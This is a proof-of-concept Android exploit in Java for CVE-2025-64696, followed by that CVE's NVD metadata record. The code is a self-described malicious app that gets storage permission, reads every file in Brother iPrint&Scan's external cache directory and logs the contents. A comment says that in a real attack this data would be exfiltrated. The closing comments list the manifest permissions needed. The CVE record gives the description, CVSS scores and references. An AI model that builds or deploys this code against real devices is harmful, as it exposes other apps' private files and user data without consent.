CVE-2025-64696

// CVE-2025-64696 PoC - Android Application to Exploit External Cache Directory Information Disclosure // This PoC demonstrates how a malicious app can access Brother iPrint&Scan's external cache files import android.app.Activity; import android.os.Bundle; import android.content.pm.PackageManager; import android.os.Environment; import android.util.Log; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class MaliciousAppActivity extends Activity { private static final String TAG = "CVE-2025-64696"; private static final String TARGET_APP_PACKAGE = "com.brother.printservice"; private static final String EXTERNAL_CACHE_PATH = "/Android/data/" + TARGET_APP_PACKAGE + "/cache/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Check for storage permissions if (checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{android.Manifest.permission.READ_EXTERNAL_STORAGE}, 1); return; } // Exploit: Read files from Brother iPrint&Scan external cache directory File externalCacheDir = new File(Environment.getExternalStorageDirectory(), EXTERNAL_CACHE_PATH); if (externalCacheDir.exists() && externalCacheDir.isDirectory()) { File[] files = externalCacheDir.listFiles(); if (files != null) { for (File file : files) { Log.d(TAG, "Found file: " + file.getName()); readFileContents(file); } } } else { Log.w(TAG, "Target cache directory not found or not accessible"); } } private void readFileContents(File file) { try { FileInputStream fis = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; fis.read(buffer); fis.close(); // Log file contents (in real attack, this would be exfiltrated) String content = new String(buffer); Log.d(TAG, "File content from " + file.getName() + ":\n" + content); } catch (IOException e) { Log.e(TAG, "Error reading file: " + file.getName(), e); } } } // Note: This PoC requires the following permissions in AndroidManifest.xml: // <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> // <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> // For Android 11+ // Additionally, a manifest query may be needed: // <queries> // <package android:name="com.brother.printservice" /> // </queries>

{"cve": {"id": "CVE-2025-64696", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:17.363", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Android App \"Brother iPrint&Scan\" versions 6.13.7 and earlier improperly uses an external cache directory. If exploited, application-specific files may be accessed from other malicious applications."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-524"}]}], "references": [{"url": "https://jvn.jp/en/vu/JVNVU99973778/", "source": "[email protected]"}, {"url": "https://support.brother.com/g/s/security/", "source": "[email protected]"}]}}